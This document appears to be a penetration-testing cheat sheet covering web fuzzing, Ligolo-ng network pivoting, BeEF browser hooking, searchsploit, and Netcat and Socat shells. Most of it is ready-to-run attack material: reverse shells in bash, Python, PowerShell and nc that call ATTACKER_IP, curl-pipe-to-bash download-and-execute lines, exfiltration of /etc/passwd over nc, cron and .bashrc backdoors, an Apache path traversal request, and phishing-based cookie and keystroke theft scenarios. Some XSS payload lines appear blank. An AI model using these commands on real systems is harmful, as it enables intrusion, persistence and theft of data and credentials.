# Proxy through Burp Suite:
feroxbuster -u http://target.com -p http://127.0.0.1:8080
# -p: Proxy URL
# Follow redirects:
feroxbuster -u http://target.com -r
# -r: Follow redirects (302, 301, etc.)
# Ignore SSL errors:
feroxbuster -u https://target.com -k
# -k: Ignore certificate errors
# Scan specific directory:
feroxbuster -u http://target.com/admin
# Recursively fuzzes: /admin/FUZZ, /admin/panel/FUZZ, etc.
Complete Attack Scenarios
# SCENARIO 1: Full Recursive Web Fuzzing
# Step 1: Quick scan (small wordlist)
feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -o quick_scan.txt
# Step 2: Found /admin → Deep scan
feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt,js,json,bak,zip --depth 5 -o full_scan.txt
# Step 3: Found interesting files
# /admin/config.php.bak (backup file!)
# /admin/panel/users.php
# /uploads/files/
# Step 4: Check backups
curl http://target.com/admin/config.php.bak
# Got: Database credentials!
# SCENARIO 2: Authenticated Scanning
# Got session cookie: session=abc123
feroxbuster -u http://target.com -w wordlist.txt -x php -H "Cookie: session=abc123" --depth 4
# Scans: As authenticated user (finds MORE!)
# SCENARIO 3: Wildcard Server (Returns 200 for Everything)
# Problem: Server returns 200 for non-existent paths
# http://target.com/asdfghjkl → 200 OK (false positive!)
# Solution: Auto-tune
feroxbuster -u http://target.com -w wordlist.txt --auto-tune
# Detects wildcard → filters false positives!
# SCENARIO 4: Bug Bounty Hunting
# Chain with subfinder + httpx:
subfinder -d target.com -silent | httpx -silent | feroxbuster --stdin -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,html,txt --depth 3 --json -o bounty_results.json
# One-liner: Subdomain enum → live hosts → recursive fuzzing!
Ligolo-ng (THE Next-Generation Tunneling Tool)
What is Ligolo-ng? Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface for network pivoting. Unlike Chisel/SSH tunnels, Ligolo-ng creates a VIRTUAL NETWORK INTERFACE on your attacker machine - you can route ENTIRE networks through compromised hosts! No proxychains needed!
Why Ligolo-ng? It's simple (no proxychains!), fast (uses TUN interface = kernel-level routing), supports multiple agents (pivot through many hosts simultaneously), has automatic routing, works on Windows/Linux/Mac, and is written in Go (single binary!). The FUTURE of pivoting!
Installation & Setup
# Download from GitHub:
# https://github.com/nicocha30/ligolo-ng/releases
# ATTACKER MACHINE (Kali Linux):
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.5.2/ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
tar -xvf ligolo-ng_proxy_0.5.2_linux_amd64.tar.gz
chmod +x proxy
sudo mv proxy /usr/local/bin/ligolo-proxy
# VICTIM MACHINE (Windows):
# Download: ligolo-ng_agent_0.5.2_windows_amd64.zip
# Extract: agent.exe
# VICTIM MACHINE (Linux):
# Download: ligolo-ng_agent_0.5.2_linux_amd64.tar.gz
# Create TUN interface on attacker (ONE TIME SETUP):
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# Verify TUN interface:
ip addr show ligolo
# Output: ligolo: mtu 1500 qdisc fq_codel state DOWN group default qlen 500
Basic Pivoting Workflow
# STEP 1: Start Ligolo proxy on ATTACKER
sudo ligolo-proxy -selfcert
# -selfcert: Generate self-signed certificate (for encryption)
# Output:
WARN[0000] Using automatically generated self-signed certificates
INFO[0000] Listening on 0.0.0.0:11601
# STEP 2: Start Ligolo agent on VICTIM (connect to attacker)
# Windows victim:
agent.exe -connect ATTACKER_IP:11601 -ignore-cert
# -connect: Attacker IP and port
# -ignore-cert: Accept self-signed certificate
# Linux victim:
./agent -connect ATTACKER_IP:11601 -ignore-cert
# STEP 3: Agent connects - output on ATTACKER:
INFO[2024/01/01 10:00:00] Agent joined. [session=1] [name=VICTIM-PC] [ip=192.168.1.50]
# STEP 4: Select agent in Ligolo proxy
ligolo-ng » session
# Shows: Available agents
? Specify a session: 1 - VICTIM-PC - 192.168.1.50
# STEP 5: Show victim's network interfaces
[Agent : VICTIM-PC] » ifconfig
# Output:
┌─────────────────────────────────────────────────┐
│ Interface 0 │
├──────────────┬──────────────────────────────────┤
│ Name │ Ethernet0 │
│ Hardware MAC │ 00:0c:29:12:34:56 │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.1.50/24 │
└──────────────┴──────────────────────────────────┘
┌─────────────────────────────────────────────────┐
│ Interface 1 │
├──────────────┬──────────────────────────────────┤
│ Name │ Ethernet1 (Internal Network) │
│ Hardware MAC │ 00:0c:29:78:90:ab │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 10.10.10.50/24 │
└──────────────┴──────────────────────────────────┘
# BEGINNER EXPLANATION:
# Victim has TWO network interfaces:
# - 192.168.1.50/24 (external - we compromised this)
# - 10.10.10.50/24 (INTERNAL - we want to access this!)
# STEP 6: Add route to internal network on ATTACKER
sudo ip route add 10.10.10.0/24 dev ligolo
# Routes: All 10.10.10.0/24 traffic through ligolo TUN interface → victim machine
# STEP 7: Start tunnel
[Agent : VICTIM-PC] » start
INFO[0100] Starting tunnel to VICTIM-PC
# STEP 8: Access internal network from ATTACKER (NO PROXYCHAINS!)
ping 10.10.10.51
# Works! Pinging internal machine through victim!
nmap -sT -Pn 10.10.10.0/24
# Scans: Internal network (NO proxychains needed!)
evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!'
# Connects: To internal machine (NO proxychains needed!)
Multiple Agents (Multi-Hop Pivoting)
# SCENARIO: Attacker → Victim1 (192.168.1.50) → Victim2 (10.10.10.50) → Internal (172.16.0.0/24)
# STEP 1: Connect Victim1 to attacker
# Victim1:
agent.exe -connect ATTACKER_IP:11601 -ignore-cert
# STEP 2: Connect Victim2 to attacker (through Victim1)
# Upload agent to Victim2, run:
agent.exe -connect ATTACKER_IP:11601 -ignore-cert
# (Must route traffic through Victim1 first)
# STEP 3: Select Victim1 session
ligolo-ng » session 1
[Agent : VICTIM1] » ifconfig
# Shows: 192.168.1.50/24 and 10.10.10.50/24
# STEP 4: Add route for 10.10.10.0/24
sudo ip route add 10.10.10.0/24 dev ligolo
# STEP 5: Start Victim1 tunnel
[Agent : VICTIM1] » start
# STEP 6: Select Victim2 session
ligolo-ng » session 2
[Agent : VICTIM2] » ifconfig
# Shows: 10.10.10.50/24 and 172.16.0.0/24
# STEP 7: Add route for 172.16.0.0/24
sudo ip route add 172.16.0.0/24 dev ligolo
# STEP 8: Start Victim2 tunnel
[Agent : VICTIM2] » start
# STEP 9: Access 172.16.0.0/24 from attacker
nmap -sT 172.16.0.0/24
# Routes: Attacker → Victim1 → Victim2 → 172.16.0.0/24!
Port Forwarding (Listener)
# Forward specific port from victim to attacker
# Select agent:
ligolo-ng » session 1
# Create listener (forward victim port to attacker):
[Agent : VICTIM-PC] » listener_add --addr 0.0.0.0:8080 --to 10.10.10.50:80
# Forwards: Attacker's port 8080 → Internal 10.10.10.50:80
# Access on attacker:
curl http://localhost:8080
# Connects to: 10.10.10.50:80 through victim!
# List listeners:
[Agent : VICTIM-PC] » listener_list
# Stop listener:
[Agent : VICTIM-PC] » listener_stop --id 0
Complete Attack Scenarios
# SCENARIO 1: Basic Network Pivoting
# Network: Attacker (Kali) → Victim (192.168.1.50 + 10.10.10.50) → Internal Network (10.10.10.0/24)
# 1. Setup TUN interface (attacker):
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# 2. Start proxy (attacker):
sudo ligolo-proxy -selfcert
# 3. Upload agent to victim:
# HTTP server:
python3 -m http.server 80
# On victim:
certutil -urlcache -f http://ATTACKER_IP/agent.exe C:\Windows\Temp\agent.exe
# 4. Run agent (victim):
C:\Windows\Temp\agent.exe -connect ATTACKER_IP:11601 -ignore-cert
# 5. Select session (attacker):
ligolo-ng » session
? Specify a session: 1 - VICTIM-PC
# 6. Check interfaces (attacker):
[Agent : VICTIM-PC] » ifconfig
# Found: 10.10.10.50/24 (internal network!)
# 7. Add route (attacker):
sudo ip route add 10.10.10.0/24 dev ligolo
# 8. Start tunnel (attacker):
[Agent : VICTIM-PC] » start
# 9. Scan internal network (attacker):
nmap -sT -Pn 10.10.10.0/24
# Found: 10.10.10.51 (DC), 10.10.10.52 (web server)
# 10. Exploit internal machines:
crackmapexec smb 10.10.10.0/24 -u administrator -p 'P@ssw0rd!'
evil-winrm -i 10.10.10.51 -u administrator -p 'P@ssw0rd!'
# NO PROXYCHAINS NEEDED!!!
# SCENARIO 2: Multi-Hop Pivoting (3 Networks)
# Network: Attacker → DMZ (192.168.1.50) → Corp Network (10.10.10.50) → Secure Network (172.16.0.0/24)
# 1. Compromise DMZ machine → run agent
# 2. Compromise Corp machine → run agent
# 3. Setup routes:
sudo ip route add 10.10.10.0/24 dev ligolo
sudo ip route add 172.16.0.0/24 dev ligolo
# 4. Start both tunnels
# 5. Access secure network:
nmap -sT 172.16.0.0/24
# Direct access to 3rd network!
BeEF (Browser Exploitation Framework - THE XSS Post-Exploitation Tool)
What is BeEF? BeEF (Browser Exploitation Framework) is a penetration testing tool focused on exploiting web browsers. Once you find XSS, BeEF lets you: steal cookies, keylog, screenshot, redirect, launch phishing, and execute commands on the victim's browser! Think "Metasploit for web browsers"!
Why BeEF? It has 100+ browser exploitation modules, provides persistent hooks (browser stays compromised), works on any browser (Chrome, Firefox, Safari, Edge), supports mass exploitation (one XSS = many victims), and integrates with Metasploit. Essential for demonstrating XSS impact!
Installation & Setup
# Install (pre-installed in Kali):
sudo apt install beef-xss
# Start BeEF:
sudo beef-xss
# Or:
cd /usr/share/beef-xss/
sudo ./beef
# Output shows:
[*] BeEF is loading. Wait a few seconds...
[*] API key: a1b2c3d4e5f6g7h8i9j0
[*] Credentials: beef:beef
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook URL: http://YOUR_IP:3000/hook.js
# BEGINNER EXPLANATION:
# Web UI: BeEF control panel (manage hooked browsers)
# Hook URL: JavaScript file to inject into victim's browser
# Credentials: Default login (beef:beef)
Hooking Browsers (The Attack!)
# STEP 1: Find XSS vulnerability
# Example: http://vulnerable-site.com/search.php?q=
# XSS works! Browser executes our JavaScript
# STEP 2: Inject BeEF hook instead of alert
# Payload:
# Full URL:
http://vulnerable-site.com/search.php?q=
# STEP 3: Send link to victim (social engineering)
# Email: "Check out this funny video: http://vulnerable-site.com/search.php?q="
# STEP 4: Victim clicks link → Browser gets hooked!
# STEP 5: Open BeEF Web UI
# Go to: http://127.0.0.1:3000/ui/panel
# Login: beef:beef
# STEP 6: See hooked browser in "Hooked Browsers" tab
# Shows: Browser version, OS, IP address
# Green = Online (hooked!)
# Red = Offline (victim closed browser)
BeEF Modules (100+ Exploits!)
# Select hooked browser in Web UI → See available modules
# COMMON MODULES:
# 1. Get Cookie:
Module: Browser → Hooked Domain → Get Cookie
# Steals: Session cookies (often leads to account takeover!)
# 2. Get Stored Credentials:
Module: Browser → Hooked Domain → Get Stored Credentials
# Steals: Saved passwords from browser
# 3. Screenshot:
Module: Browser → Get Screenshot
# Takes: Screenshot of victim's current browser tab
# 4. Keylogger:
Module: Browser → Hooked Domain → Keylogger
# Records: Everything victim types (passwords, credit cards, etc.)
# 5. Redirect Browser:
Module: Browser → Hooked Domain → Redirect Browser
# Redirects: Victim to attacker-controlled phishing page
# 6. Fake Notification Bar:
Module: Social Engineering → Fake Notification Bar
# Shows: "Firefox Update Required" → victim downloads malware!
# 7. Pretty Theft:
Module: Social Engineering → Pretty Theft
# Shows: Fake login popup (Facebook, Gmail, etc.) → steals credentials
# 8. Play Sound:
Module: Misc → Play Sound
# Plays: Sound/beep (for demonstration)
# 9. Webcam:
Module: Phonegap → Webcam
# Accesses: Victim's webcam (requires permission)
# 10. Geolocation:
Module: Browser → Get Geolocation
# Gets: Victim's GPS coordinates
# 11. Clippy:
Module: Social Engineering → Clippy
# Shows: Microsoft Office Assistant asking for credentials
# 12. MITM Attack:
Module: Network → Man-In-The-Middle
# Intercepts: Network traffic from hooked browser
BeEF + Metasploit Integration
# Enable Metasploit integration in BeEF config:
sudo nano /usr/share/beef-xss/config.yaml
# Find metasploit section:
metasploit:
enable: true
host: "127.0.0.1"
port: 55552
# Restart BeEF:
sudo beef-xss
# Now in BeEF UI:
# Select hooked browser → Metasploit module
# Example: Launch browser_autopwn exploit
# Result: Meterpreter shell on victim's machine!
Complete Attack Scenarios
# SCENARIO 1: XSS → Cookie Theft → Account Takeover
# 1. Found XSS: http://bank.com/transfer.php?to=
# 2. Start BeEF:
sudo beef-xss
# Hook URL: http://YOUR_IP:3000/hook.js
# 3. Inject BeEF hook:
http://bank.com/transfer.php?to=
# 4. Send to victim (phishing email):
"Your transfer failed! Click here: http://bank.com/transfer.php?to="
# 5. Victim clicks → Browser hooked!
# 6. BeEF UI → Select hooked browser → Run "Get Cookie" module
# Got: session=abc123def456 (session cookie!)
# 7. Use cookie to access victim's account:
curl http://bank.com/dashboard -H "Cookie: session=abc123def456"
# SUCCESS! Accessed victim's bank account!
# SCENARIO 2: XSS → Keylogger → Steal Credentials
# 1. Hook victim's browser (same as above)
# 2. BeEF UI → Run "Keylogger" module
# 3. Victim types password on SAME website
# Example: Victim logs into http://bank.com/login
# 4. BeEF captures keystrokes:
# Username: victim@email.com
# Password: MySecretPassword123!
# 5. Use credentials to login!
# SCENARIO 3: XSS → Phishing → Malware Delivery
# 1. Hook victim's browser
# 2. Run "Fake Notification Bar" module:
# Message: "Critical Security Update Available - Click to Install"
# Button: "Update Now"
# 3. Victim clicks → Redirected to:
http://YOUR_SERVER/update.exe
# (Meterpreter payload!)
# 4. Victim downloads and runs "update"
# 5. Got shell on victim's machine!
Advanced Techniques
# Persistent XSS (Stored XSS):
# If XSS is stored in database (e.g., comment field):
# Comment:
# EVERY user who views the comment gets hooked!
# Result: Mass exploitation!
# Beef over HTTPS (avoid browser warnings):
# Get SSL certificate (Let's Encrypt):
sudo certbot certonly --standalone -d your-domain.com
# Configure BeEF to use HTTPS
# Hook URL becomes: https://your-domain.com:3000/hook.js
# Tunneling BeEF through Ngrok (bypass firewall):
ngrok http 3000
# Hook URL: http://abc123.ngrok.io/hook.js
# Works even if victim is behind corporate firewall!
Searchsploit (THE Exploit Database CLI)
What is Searchsploit? Searchsploit is a command-line search tool for Exploit-DB. It searches 50,000+ exploits OFFLINE (no internet needed!), finds public exploits for software/CVEs, and integrates with Metasploit. Think "Google for exploits" but LOCAL and FAST!
Why Searchsploit? It's FAST (searches locally), works offline, has 50,000+ exploits, searches by software name/version/CVE, shows exploit path (ready to use!), and updates daily. Essential for exploit research!
Installation & Basic Usage
# Install (pre-installed in Kali):
sudo apt install exploitdb
# Update database:
sudo searchsploit -u
# Downloads: Latest exploits from Exploit-DB
# Basic search:
searchsploit apache
# Finds: ALL exploits related to "apache"
# Example output:
Apache 2.4.49 - Path Traversal | php/webapps/50383.sh
Apache 2.4.50 - Remote Code Execution | multiple/webapps/50406.py
Apache Struts 2.3.5 - RCE | java/webapps/41570.py
# BEGINNER EXPLANATION:
# Each line = One exploit
# Format: Software - Vulnerability Type | Platform/Type/ID.extension
# Path: /usr/share/exploitdb/exploits/[path]
Search Techniques
# Search by software name:
searchsploit wordpress
searchsploit mysql
searchsploit windows
# Search by version:
searchsploit "apache 2.4.49"
# Quotes: Exact phrase
# Search by CVE:
searchsploit CVE-2021-41773
# Finds: Exploit for specific CVE
# Multiple keywords (AND):
searchsploit apache remote code execution
# Finds: Apache exploits with "remote code execution"
# Case-sensitive search:
searchsploit -c Apache
# -c: Case-sensitive
# Exact match:
searchsploit -e "Apache 2.4.49"
# -e: Exact title match
# Search title only (ignore description):
searchsploit -t apache
# -t: Title search only
Filter & Exclude
# Exclude terms:
searchsploit apache --exclude="denial of service"
# --exclude: Don't show DoS exploits
# Filter by platform:
searchsploit windows --platform=windows
# --platform: windows, linux, unix, php, etc.
# Filter by type:
searchsploit apache --type=webapps
# --type: webapps, remote, local, dos, etc.
# Filter by author:
searchsploit --author="Metasploit"
View & Copy Exploits
# Show exploit path:
searchsploit -p 50383
# -p: Show full path
# Output: /usr/share/exploitdb/exploits/php/webapps/50383.sh
# Examine exploit:
searchsploit -x 50383
# -x: Open exploit in $PAGER (less)
# Copy exploit to current directory:
searchsploit -m 50383
# -m: Mirror (copy) to current directory
# Creates: 50383.sh in current folder
# Copy multiple exploits:
searchsploit -m 50383 50406 41570
# Copies: All three exploits
Output Formats
# JSON output:
searchsploit apache --json
# Outputs: JSON format (for automation)
# XML output:
searchsploit apache --xml
# Web browser (open Exploit-DB page):
searchsploit -w apache
# -w: Opens exploit pages in browser
# Show URL only:
searchsploit apache --www
# --www: Show Exploit-DB URLs
Metasploit Integration
# Check if exploit has Metasploit module:
searchsploit apache 2.4.49
# Look for [metasploit] tag in results
# Import into Metasploit:
searchsploit -m 12345
msfconsole
msf6 > use exploit/path/to/exploit
Nmap Integration
# Save Nmap results to XML:
nmap -sV -oX scan.xml 192.168.1.50
# Search exploits for discovered services:
searchsploit --nmap scan.xml
# Automatically: Searches for exploits matching Nmap services!
# Example:
# Nmap found: Apache 2.4.49
# Searchsploit shows: Apache 2.4.49 exploits!
Complete Attack Scenarios
# SCENARIO 1: Find & Exploit Apache Vulnerability
# 1. Nmap scan finds Apache:
nmap -sV 192.168.1.50
# Output: 80/tcp open http Apache httpd 2.4.49
# 2. Search for exploits:
searchsploit "apache 2.4.49"
# Found: Apache 2.4.49 - Path Traversal (CVE-2021-41773)
# 3. Copy exploit:
searchsploit -m 50383
# Copied: 50383.sh to current directory
# 4. Read exploit:
cat 50383.sh
# Exploit reads: /etc/passwd via path traversal
# 5. Test exploit:
curl "http://192.168.1.50/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# GOT: /etc/passwd contents!
# 6. Escalate to RCE:
searchsploit "apache 2.4.50"
# Found: Apache 2.4.50 RCE (CVE-2021-42013)
# 7. Exploit for shell:
python3 50406.py http://192.168.1.50 "id"
# Got: command execution!
# SCENARIO 2: Exploit Research Workflow
# 1. Enumerate target:
nmap -sV -oX scan.xml 192.168.1.50
# Found: WordPress 5.8, MySQL 5.7, PHP 7.4
# 2. Auto-search exploits:
searchsploit --nmap scan.xml
# Shows: Exploits for ALL detected services!
# 3. Search specific version:
searchsploit "wordpress 5.8"
# Found: Multiple WordPress exploits
# 4. Filter for RCE:
searchsploit wordpress 5.8 --exclude="xss" --exclude="csrf"
# Only: Remote Code Execution exploits
# 5. Copy most recent:
searchsploit -m 50299
# 6. Test exploit:
python3 50299.py -u http://192.168.1.50
Essential Linux Commands for Pentesting
Master these commands and you'll navigate any Linux system like a pro! These are the building blocks for enumeration, exploitation, and post-exploitation.
File System Navigation & Discovery
# Find files by name:
find / -name "passwords.txt" 2>/dev/null
# /: Start from root
# -name: Search by filename
# 2>/dev/null: Hide errors (permission denied)
# Find files by extension:
find /home -name "*.txt" 2>/dev/null
# Finds: All .txt files in /home
# Find SUID binaries (privilege escalation!):
find / -perm -4000 2>/dev/null
# -perm -4000: SUID bit set
# SUID = Run as owner (often root!)
# Find writable files:
find / -writable 2>/dev/null
# Finds: Files YOU can modify
# Find files modified in last 10 minutes:
find /var/www -mmin -10
# -mmin -10: Modified in last 10 minutes
# Find large files (>100MB):
find / -size +100M 2>/dev/null
# Useful: Finding hidden data, backups
# Locate (faster than find):
locate passwords.txt
# Database: Updated daily (sudo updatedb)
Text Processing & Grep
# Search for text in files:
grep -r "password" /var/www/
# -r: Recursive (all files in directory)
# Finds: Files containing "password"
# Case-insensitive search:
grep -ri "password" /var/www/
# -i: Ignore case
# Show line numbers:
grep -rn "password" /var/www/
# -n: Show line numbers
# Search for IP addresses:
grep -rE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" /var/log/
# -E: Extended regex
# Invert match (show lines NOT matching):
grep -v "error" /var/log/apache2/access.log
# -v: Invert (exclude "error")
# Show only filenames (no content):
grep -rl "password" /var/www/
# -l: List filenames only
# Context (show lines before/after match):
grep -A 5 -B 5 "password" config.php
# -A 5: 5 lines after
# -B 5: 5 lines before
Awk & Sed (Text Manipulation)
# Awk: Extract columns
cat access.log | awk '{print $1}'
# Prints: First column (IP addresses)
# Extract IPs from Nmap:
cat nmap_scan.txt | grep "open" | awk '{print $2}'
# Awk with condition:
cat access.log | awk '$9 == 200 {print $1}'
# Prints: IPs with 200 status code
# Sed: Replace text
cat config.php | sed 's/password123/newpassword/g'
# s/OLD/NEW/g: Replace all occurrences
# Sed: Delete lines
cat file.txt | sed '/^#/d'
# /^#/d: Delete lines starting with #
# Extract emails:
cat data.txt | grep -Eo "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}"
Networking Commands
# Check open ports (no nmap):
ss -tuln
# -t: TCP
# -u: UDP
# -l: Listening
# -n: Numeric (no DNS resolution)
# Download file:
wget http://example.com/file.txt
curl http://example.com/file.txt -o file.txt
# Download & execute (post-exploitation):
curl http://attacker_ip/shell.sh | bash
wget http://attacker_ip/shell.sh -O - | bash
# Check connectivity:
ping -c 4 8.8.8.8
# -c 4: Send 4 packets
# Traceroute:
traceroute google.com
# DNS lookup:
nslookup google.com
dig google.com
# Check routing table:
ip route
route -n
File Transfer (No SCP/FTP)
# ATTACKER: Start HTTP server
python3 -m http.server 80
# VICTIM: Download file
wget http://ATTACKER_IP/file.txt
curl http://ATTACKER_IP/file.txt -o file.txt
# VICTIM: Upload file to attacker
# ATTACKER: Start listener (receive file)
nc -lvnp 4444 > received_file.txt
# VICTIM: Send file
cat file.txt | nc ATTACKER_IP 4444
# Base64 encode (copy/paste transfer):
cat file.txt | base64
# Copy output, paste on attacker:
echo "BASE64_STRING" | base64 -d > file.txt
Process Management
# List all processes:
ps aux
ps -ef
# Find specific process:
ps aux | grep apache
# Show process tree:
pstree
# Kill process:
kill 1234
# 1234 = Process ID (PID)
# Force kill:
kill -9 1234
# Kill by name:
killall apache2
pkill apache2
# Background process:
./script.sh &
# List background jobs:
jobs
# Bring to foreground:
fg %1
# %1 = Job number
User & Permission Management
# Check current user:
whoami
id
# Check sudo permissions:
sudo -l
# Shows: Commands you can run as root
# Check other logged-in users:
w
who
last
# Add user:
sudo useradd hacker
sudo passwd hacker
# Add user to sudo group:
sudo usermod -aG sudo hacker
# Change file permissions:
chmod +x script.sh
chmod 777 file.txt
# 777 = rwxrwxrwx (read/write/execute for all)
# Change file owner:
sudo chown root:root file.txt
Compression & Archives
# Create tar archive:
tar -czf archive.tar.gz /path/to/directory/
# -c: Create
# -z: Gzip compression
# -f: Filename
# Extract tar archive:
tar -xzf archive.tar.gz
# -x: Extract
# List contents:
tar -tzf archive.tar.gz
# -t: List
# Zip file:
zip -r archive.zip /path/to/directory/
# Unzip:
unzip archive.zip
Netcat (THE TCP/UDP Swiss Army Knife)
What is Netcat? Netcat (nc) is called the "Swiss Army knife of networking" - it can do EVERYTHING with TCP/UDP: file transfer, port scanning, backdoors, reverse/bind shells, banners, chat, and MORE! Every pentester's essential tool!
Why Netcat? It's pre-installed EVERYWHERE (Linux, Windows, Mac), simple syntax, powerful capabilities, perfect for shells, and has 1,000+ use cases. Learn Netcat = Learn networking!
Basic Usage & Connections
# Connect to host/port (telnet-like):
nc example.com 80
# Opens: TCP connection to port 80
# Then type: HTTP request
# Example HTTP request:
GET / HTTP/1.1
Host: example.com
# Listen on port (server mode):
nc -lvnp 4444
# -l: Listen mode
# -v: Verbose
# -n: No DNS resolution
# -p: Port number
# BEGINNER EXPLANATION:
# nc can act as CLIENT (connect to) OR SERVER (listen on)
Reverse Shells (THE Most Important!)
# SCENARIO: You found RCE on victim machine → Get shell!
# ATTACKER: Start listener
nc -lvnp 4444
# Waiting for victim to connect...
# VICTIM: Execute reverse shell command
# Linux victim:
nc ATTACKER_IP 4444 -e /bin/bash
# -e: Execute /bin/bash → send to attacker
# Alternative (if -e not available):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
# Python reverse shell (always works!):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Bash reverse shell:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Windows victim:
nc.exe ATTACKER_IP 4444 -e cmd.exe
# PowerShell reverse shell:
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# ATTACKER receives:
listening on [any] 4444 ...
connect to [ATTACKER_IP] from (UNKNOWN) [VICTIM_IP] 54321
bash-5.1$ whoami
www-data
bash-5.1$ id
uid=33(www-data) gid=33(www-data)
Bind Shells
# SCENARIO: Reverse shell blocked by firewall → Use bind shell
# VICTIM: Listen on port (wait for attacker)
nc -lvnp 4444 -e /bin/bash
# Victim opens port 4444 with shell attached
# ATTACKER: Connect to victim
nc VICTIM_IP 4444
# Connects → Gets shell!
# WHEN TO USE:
# Reverse shell = Victim connects to attacker (MOST COMMON)
# Bind shell = Attacker connects to victim (when reverse blocked)
File Transfer
# Send file from ATTACKER to VICTIM:
# VICTIM: Listen & receive
nc -lvnp 4444 > received_file.txt
# Saves: Incoming data to file
# ATTACKER: Send file
nc VICTIM_IP 4444 < file_to_send.txt
# Sends: File contents
# Send file from VICTIM to ATTACKER:
# ATTACKER: Listen & receive
nc -lvnp 4444 > stolen_data.txt
# VICTIM: Send file
nc ATTACKER_IP 4444 < /etc/passwd
# Transfer directory (with tar):
# VICTIM: Listen & extract
nc -lvnp 4444 | tar -xzf -
# ATTACKER: Compress & send
tar -czf - /path/to/directory/ | nc VICTIM_IP 4444
Port Scanning
# Scan single port:
nc -zv example.com 80
# -z: Zero-I/O mode (scan only, no data)
# -v: Verbose
# Output: Connection to example.com 80 port [tcp/http] succeeded!
# Scan port range:
nc -zv example.com 20-100
# Scans: Ports 20 through 100
# Fast scan (UDP):
nc -zvu example.com 53
# -u: UDP mode
# BEGINNER NOTE:
# nc is NOT optimized for scanning → Use nmap instead!
# But useful when nmap is not available
Banner Grabbing
# Grab service banner:
nc -v example.com 21
# Connects to FTP → Shows banner
# 220 FTP Server Ready
# HTTP banner:
echo "GET / HTTP/1.1\nHost: example.com\n\n" | nc example.com 80
# SSH banner:
nc example.com 22
# SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
# SMTP banner:
nc mail.example.com 25
# 220 mail.example.com ESMTP Postfix
Backdoors & Persistence
# Permanent backdoor (survives reboot):
# Linux - Add to crontab:
(crontab -l 2>/dev/null; echo "@reboot nc ATTACKER_IP 4444 -e /bin/bash") | crontab -
# Runs: nc reverse shell on every reboot!
# Alternative - Add to startup script:
echo "nc ATTACKER_IP 4444 -e /bin/bash &" >> ~/.bashrc
# Windows - Add to startup:
echo nc.exe ATTACKER_IP 4444 -e cmd.exe > C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
# ETHICAL NOTE:
# Only use for authorized pentests! Backdoors = persistence = serious legal implications!
Netcat Relay (Pivot/Proxy)
# Use compromised machine as relay:
# VICTIM (DMZ machine): Relay traffic
mkfifo /tmp/fifo
nc -l -p 8080 < /tmp/fifo | nc INTERNAL_IP 80 > /tmp/fifo
# Forwards: Attacker's connections to internal machine
# ATTACKER: Connect to DMZ machine
nc VICTIM_IP 8080
# Traffic goes: Attacker → Victim → Internal machine
Socat (THE Advanced Netcat)
What is Socat? Socat (SOcket CAT) is Netcat on steroids! It supports SSL/TLS encryption, bidirectional data streams, file descriptors, SOCKS proxies, and MORE complex networking than nc. Think "Netcat Pro"!
Why Socat? Encrypted shells (SSL/TLS), more flexible than nc, supports SOCKS/HTTP proxies, handles binary data better, and has advanced port forwarding. Essential for modern pentesting!
Installation & Basic Usage
# Install:
sudo apt install socat
# Basic connection (like nc):
socat - TCP:example.com:80
# -: stdin/stdout
# Listen (like nc -l):
socat TCP-LISTEN:4444 -
# Listens on port 4444
Encrypted Reverse Shells (SSL/TLS)
# CREATE SSL CERTIFICATE (ATTACKER):
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
# Generates: shell.key and shell.crt
# Combine into PEM:
cat shell.key shell.crt > shell.pem
# ATTACKER: Listen with SSL
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 -
# OPENSSL-LISTEN: SSL encrypted listener
# verify=0: Don't verify client certificate
# VICTIM: Connect with SSL
socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:/bin/bash
# Encrypted shell!
# WHY THIS MATTERS:
# Traffic is ENCRYPTED → IDS/IPS can't see shell commands!
# Bypasses: Network monitoring, DLP
Reverse Shells with Socat
# ATTACKER: Listen
socat TCP-LISTEN:4444 -
# VICTIM: Reverse shell
socat TCP:ATTACKER_IP:4444 EXEC:/bin/bash
# Linux shell
# Windows shell:
socat TCP:ATTACKER_IP:4444 EXEC:'cmd.exe',pipes
# Interactive shell (with PTY):
socat TCP-LISTEN:4444 -
# VICTIM:
